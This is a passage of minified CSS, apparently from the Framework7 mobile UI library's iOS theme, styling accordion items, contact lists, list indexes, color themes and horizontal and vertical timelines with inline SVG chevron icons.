.accordion-item-toggle.active-state{background-color:#d9d9d9}.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .accordion-item-opened.media-item>.item-link .item-title-row,.ios .links-list .accordion-item-opened>a,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E");background-size:13px 13px}.ios .theme-dark .list .accordion-item-toggle .item-inner{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.ios .theme-dark .list .accordion-item-toggle.active-state{background-color:#363636}.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row,.ios .theme-dark .accordion-item-opened.media-item>.item-link .item-title-row,.ios .theme-dark .links-list .accordion-item-opened>a,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner,.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item)>.item-link .item-inner,.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row,.ios .theme-dark .media-list .accordion-item-opened>.item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.contacts-list .list-group:first-child ul:before{display:none!important}.contacts-list .list-group:last-child ul:after{display:none!important}.ios .contacts-list{margin:0}.ios .contacts-list .list-group-title{padding:0 15px;background:#f7f7f7;color:#000;font-weight:600;line-height:22px;height:22px}.contacts-list.ios .theme-dark .list-group-title,.ios .theme-dark .contacts-list .list-group-title{background-color:#111;color:#fff}.list-index{position:absolute;top:0;bottom:0;right:0;text-align:center;z-index:10;width:16px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.list-index:before{content:'';position:absolute;width:20px;top:0;right:100%;height:100%}.list-index ul{font-size:11px;font-weight:600;list-style:none;margin:0;padding:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;height:100%;width:100%;position:relative}.list-index li{margin:0;padding:0;list-style:none;position:relative;height:14px;line-height:14px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:block;width:100%}.list-index .list-index-skip-placeholder:after{content:'';position:absolute;left:50%;top:50%;border-radius:50%}.list-index .list-index-label{position:absolute;bottom:0;right:100%;text-align:center;border-radius:50%;color:#fff;font-weight:500}.ios .list-index ul{color:#007aff}.ios .list-index .list-index-skip-placeholder:after{content:'';width:6px;height:6px;margin-left:-3px;margin-top:-3px;background:#007aff}.ios .list-index .list-index-label{margin-bottom:-22px;margin-right:15px;width:44px;height:44px;line-height:44px;border-radius:50%;background:#007aff;font-size:17px}.ios .list-index .list-index-label:before{position:absolute;width:100%;height:100%;border-radius:50% 0 50% 50%;content:'';background-color:inherit;left:0;top:0;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:-1}.ios .navbar~.list-index,.ios .navbar~.page>.list-index{top:44px}.ios .toolbar~* .page>.list-index,.ios .toolbar~.list-index,.ios .toolbar~.page>.list-index{bottom:44px}.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page>.list-index,.ios .tabbar-labels~.list-index,.ios .tabbar-labels~.page>.list-index{bottom:56px}}.ios.device-iphone-x .toolbar~* .page>.list-index,.ios.device-iphone-x .toolbar~.list-index,.ios.device-iphone-x .toolbar~.page>.list-index{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(50px + constant(safe-area-inset-bottom));bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page>.list-index,.ios.device-iphone-x .tabbar-labels~.list-index,.ios.device-iphone-x .tabbar-labels~.page>.list-index{bottom:calc(56px + constant(safe-area-inset-bottom));bottom:calc(56px + env(safe-area-inset-bottom))}}.ios .color-theme-red .list-index ul,.ios .list-index.color-theme-red ul{color:#ff3b30}.ios .color-theme-red .list-index .list-index-label,.ios .color-theme-red .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-red .list-index-label,.ios .list-index.color-theme-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .color-theme-green .list-index ul,.ios .list-index.color-theme-green ul{color:#4cd964}.ios .color-theme-green .list-index .list-index-label,.ios .color-theme-green .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-green .list-index-label,.ios .list-index.color-theme-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .color-theme-blue .list-index ul,.ios .list-index.color-theme-blue ul{color:#007aff}.ios .color-theme-blue .list-index .list-index-label,.ios .color-theme-blue .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-blue .list-index-label,.ios .list-index.color-theme-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .color-theme-pink .list-index ul,.ios .list-index.color-theme-pink ul{color:#ff2d55}.ios .color-theme-pink .list-index .list-index-label,.ios .color-theme-pink .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-pink .list-index-label,.ios .list-index.color-theme-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .color-theme-yellow .list-index ul,.ios .list-index.color-theme-yellow ul{color:#fc0}.ios .color-theme-yellow .list-index .list-index-label,.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-yellow .list-index-label,.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .color-theme-orange .list-index ul,.ios .list-index.color-theme-orange ul{color:#ff9500}.ios .color-theme-orange .list-index .list-index-label,.ios .color-theme-orange .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-orange .list-index-label,.ios .list-index.color-theme-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .color-theme-gray .list-index ul,.ios .list-index.color-theme-gray ul{color:#8e8e93}.ios .color-theme-gray .list-index .list-index-label,.ios .color-theme-gray .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-gray .list-index-label,.ios .list-index.color-theme-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .color-theme-white .list-index ul,.ios .list-index.color-theme-white ul{color:#fff}.ios .color-theme-white .list-index .list-index-label,.ios .color-theme-white .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-white .list-index-label,.ios .list-index.color-theme-white .list-index-skip-placeholder:after{background-color:#fff}.ios .color-theme-black .list-index ul,.ios .list-index.color-theme-black ul{color:#000}.ios .color-theme-black .list-index .list-index-label,.ios .color-theme-black .list-index .list-index-skip-placeholder:after,.ios .list-index.color-theme-black .list-index-label,.ios .list-index.color-theme-black .list-index-skip-placeholder:after{background-color:#000}.ios .list-index.color-red ul{color:#ff3b30}.ios .list-index.color-red .list-index-label,.ios .list-index.color-red .list-index-skip-placeholder:after{background-color:#ff3b30}.ios .list-index.color-green ul{color:#4cd964}.ios .list-index.color-green .list-index-label,.ios .list-index.color-green .list-index-skip-placeholder:after{background-color:#4cd964}.ios .list-index.color-blue ul{color:#007aff}.ios .list-index.color-blue .list-index-label,.ios .list-index.color-blue .list-index-skip-placeholder:after{background-color:#007aff}.ios .list-index.color-pink ul{color:#ff2d55}.ios .list-index.color-pink .list-index-label,.ios .list-index.color-pink .list-index-skip-placeholder:after{background-color:#ff2d55}.ios .list-index.color-yellow ul{color:#fc0}.ios .list-index.color-yellow .list-index-label,.ios .list-index.color-yellow .list-index-skip-placeholder:after{background-color:#fc0}.ios .list-index.color-orange ul{color:#ff9500}.ios .list-index.color-orange .list-index-label,.ios .list-index.color-orange .list-index-skip-placeholder:after{background-color:#ff9500}.ios .list-index.color-gray ul{color:#8e8e93}.ios .list-index.color-gray .list-index-label,.ios .list-index.color-gray .list-index-skip-placeholder:after{background-color:#8e8e93}.ios .list-index.color-white ul{color:#fff}.ios .list-index.color-white .list-index-label,.ios .list-index.color-white .list-index-skip-placeholder:after{background-color:#fff}.ios .list-index.color-black ul{color:#000}.ios .list-index.color-black .list-index-label,.ios .list-index.color-black .list-index-skip-placeholder:after{background-color:#000}.timeline{-webkit-box-sizing:border-box;box-sizing:border-box}.block-strong .timeline{padding:0;margin:0}.timeline-item{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.timeline-item-date{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:50px;text-align:right;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-date small{font-size:10px}.timeline-item-content{margin:2px;min-width:0;position:relative;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10}.timeline-item-content h1:first-child,.timeline-item-content h2:first-child,.timeline-item-content h3:first-child,.timeline-item-content h4:first-child,.timeline-item-content ol:first-child,.timeline-item-content p:first-child,.timeline-item-content ul:first-child{margin-top:0}.timeline-item-content h1:last-child,.timeline-item-content h2:last-child,.timeline-item-content h3:last-child,.timeline-item-content h4:last-child,.timeline-item-content ol:last-child,.timeline-item-content p:last-child,.timeline-item-content ul:last-child{margin-bottom:0}.timeline-item-inner{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-item-inner .block{padding:0;color:inherit}.timeline-item-inner .block-strong{padding-left:0;padding-right:0;margin:0}.timeline-item-inner .block-strong:before{display:none!important}.timeline-item-inner .block-strong:after{display:none!important}.timeline-item-inner .list ul:before{display:none!important}.timeline-item-inner .list ul:after{display:none!important}.timeline-item-divider{width:1px;position:relative;width:10px;height:10px;background:#bbb;border-radius:50%;margin-top:3px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.timeline-item-divider:after,.timeline-item-divider:before{content:' ';width:1px;height:100vh;position:absolute;left:50%;background:inherit;-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.timeline-item-divider:after{top:100%}.timeline-item-divider:before{bottom:100%}.timeline-item:last-child .timeline-item-divider:after{display:none}.timeline-item:first-child .timeline-item-divider:before{display:none}.timeline-item-time{font-size:13px}.timeline-item-time:first-child,.timeline-item-time:last-child{margin-top:0}.timeline-item-title+.timeline-item-time{margin-top:0}.timeline-horizontal{height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.timeline-horizontal .timeline-item{display:block;width:33.33333333vw;margin:0;padding:0;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;position:relative;height:100%}.timeline-horizontal .timeline-item-date{width:auto;text-align:left;line-height:34px;position:absolute;left:0;top:0;width:100%;height:34px;text-align:right}.timeline-horizontal .timeline-item-content{overflow:auto;-webkit-overflow-scrolling:touch;margin:0}.timeline-horizontal .timeline-item-divider{display:none}.timeline-horizontal.col-100 .timeline-item{width:100vw}.timeline-horizontal.col-95 .timeline-item{width:95vw}.timeline-horizontal.col-90 .timeline-item{width:90vw}.timeline-horizontal.col-85 .timeline-item{width:85vw}.timeline-horizontal.col-80 .timeline-item{width:80vw}.timeline-horizontal.col-75 .timeline-item{width:75vw}.timeline-horizontal.col-70 .timeline-item{width:70vw}.timeline-horizontal.col-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.col-65 .timeline-item{width:65vw}.timeline-horizontal.col-60 .timeline-item{width:60vw}.timeline-horizontal.col-55 .timeline-item{width:55vw}.timeline-horizontal.col-50 .timeline-item{width:50vw}.timeline-horizontal.col-45 .timeline-item{width:45vw}.timeline-horizontal.col-40 .timeline-item{width:40vw}.timeline-horizontal.col-35 .timeline-item{width:35vw}.timeline-horizontal.col-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.col-30 .timeline-item{width:30vw}.timeline-horizontal.col-25 .timeline-item{width:25vw}.timeline-horizontal.col-20 .timeline-item{width:20vw}.timeline-horizontal.col-15 .timeline-item{width:15vw}.timeline-horizontal.col-10 .timeline-item{width:10vw}.timeline-horizontal.col-5 .timeline-item{width:5vw}@media (min-width:768px){.timeline-horizontal.tablet-100 .timeline-item{width:100vw}.timeline-horizontal.tablet-95 .timeline-item{width:95vw}.timeline-horizontal.tablet-90 .timeline-item{width:90vw}.timeline-horizontal.tablet-85 .timeline-item{width:85vw}.timeline-horizontal.tablet-80 .timeline-item{width:80vw}.timeline-horizontal.tablet-75 .timeline-item{width:75vw}.timeline-horizontal.tablet-70 .timeline-item{width:70vw}.timeline-horizontal.tablet-66 .timeline-item{width:66.66666666666666vw}.timeline-horizontal.tablet-65 .timeline-item{width:65vw}.timeline-horizontal.tablet-60 .timeline-item{width:60vw}.timeline-horizontal.tablet-55 .timeline-item{width:55vw}.timeline-horizontal.tablet-50 .timeline-item{width:50vw}.timeline-horizontal.tablet-45 .timeline-item{width:45vw}.timeline-horizontal.tablet-40 .timeline-item{width:40vw}.timeline-horizontal.tablet-35 .timeline-item{width:35vw}.timeline-horizontal.tablet-33 .timeline-item{width:33.333333333333336vw}.timeline-horizontal.tablet-30 .timeline-item{width:30vw}.timeline-horizontal.tablet-25 .timeline-item{width:25vw}.timeline-horizontal.tablet-20 .timeline-item{width:20vw}.timeline-horizontal.tablet-15 .timeline-item{width:15vw}.timeline-horizontal.tablet-10 .timeline-item{width:10vw}.timeline-horizontal.tablet-5 .timeline-item{width:5vw}}.timeline-horizontal .timeline-month,.timeline-horizontal .timeline-year{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;padding-top:24px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%}.timeline-horizontal .timeline-month-title,.timeline-horizontal .timeline-year-title{position:absolute;left:0;top:0;width:100%;line-height:24px;height:24px;-webkit-box-sizing:border-box;box-sizing:border-box}.timeline-horizontal .timeline-month-title span,.timeline-horizontal .timeline-year-title span{display:inline-block;position:-webkit-sticky;position:sticky}.timeline-horizontal .timeline-year-title{font-size:16px}.timeline-horizontal .timeline-month-title span{margin-top:-2px}.ios .timeline{margin:35px 0;padding:0 15px}.ios .block-strong .timeline{padding:0;margin:0}.ios .timeline-item{padding:2px 0 15px}.ios .timeline-item:last-child{padding-bottom:2px}.ios .timeline-item-content .block,.ios .timeline-item-content .card,.ios .timeline-item-content .list,.ios .timeline-item-content.block,.ios .timeline-item-content.card,.ios .timeline-item-content.list{margin:0;width:100%}.ios .timeline-item-content .block+.block,.ios .timeline-item-content .block+.card,.ios .timeline-item-content .block+.list,.ios .timeline-item-content .card+.block,.ios .timeline-item-content .card+.card,.ios .timeline-item-content .card+.list,.ios .timeline-item-content .list+.block,.ios .timeline-item-content .list+.card,.ios .timeline-item-content .list+.list{margin:15px 0 0}.ios .timeline-item-inner{border-radius:7px;padding:8px 15px}.ios .timeline-item-inner+.timeline-item-inner{margin-top:15px}.ios .block-strong .timeline-item-inner{border-radius:3px;border:1px solid rgba(0,0,0,.1)}.ios .timeline-item-divider{margin-left:15px;margin-right:15px}.ios .timeline-item-time{margin-top:15px;color:#6d6d72}.ios .timeline-item-time:first-child,.ios .timeline-item-time:last-child{margin-top:0}.ios .timeline-item-title{font-size:17px;font-weight:600}.ios .timeline-item-subtitle{font-size:15px}.ios .timeline-sides .timeline-item{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item .timeline-item-date{text-align:left}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.ios .timeline-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .timeline-sides .timeline-item-left .timeline-item-date{text-align:right}.ios .timeline-sides .timeline-item-right{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .timeline-sides .timeline-item-right .timeline-item-date{text-align:left}@media (min-width:768px){.ios .tablet-sides .timeline-item{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item .timeline-item-date{text-align:left}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n){-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date{text-align:right}.ios .tablet-sides .timeline-item-left{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;margin-left:calc(50% - (30px + 10px)/ 2 - 50px);margin-right:0}.ios .tablet-sides .timeline-item-left .timeline-item-date{text-align:right}.ios .tablet-sides .timeline-item-right{margin-right:calc(50% - (30px + 10px)/ 2 - 50px);margin-left:0}.ios .tablet-sides .timeline-item-right .timeline-item-date{text-align:left}}.ios .timeline-horizontal{padding:0;margin:0}.ios .timeline-horizontal .timeline-item{padding-top:34px!important;padding-bottom:10px}.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after,.ios .timeline-horizontal>.timeline-item:last-child:after{display:none!important}.ios .timeline-horizontal .timeline-item-date{background:#f7f7f8;padding:0 10px}.ios .timeline-horizontal .timeline-item-content{padding:10px;height:calc(100% - 10px)}.ios .timeline-horizontal .timeline-item-date:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-month .timeline-item:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .timeline-horizontal .timeline-item:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-horizontal .timeline-year:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .timeline-year:last-child:after{display:none!important}.ios .timeline-month-title,.ios .timeline-year-title{padding:0 10px;background:#f7f7f8}.ios .timeline-month-title span,.ios .timeline-year-title span{right:10px}.ios .timeline-year-title span{margin-top:3px}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge){padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span{left:calc(10px + constant(safe-area-inset-left));left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title{left:-44px;right:0;width:auto}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-month-title+.timeline-item,.ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge)>.timeline-item:first-child{overflow:visible}.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date,.ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title+.timeline-month .timeline-item:first-child 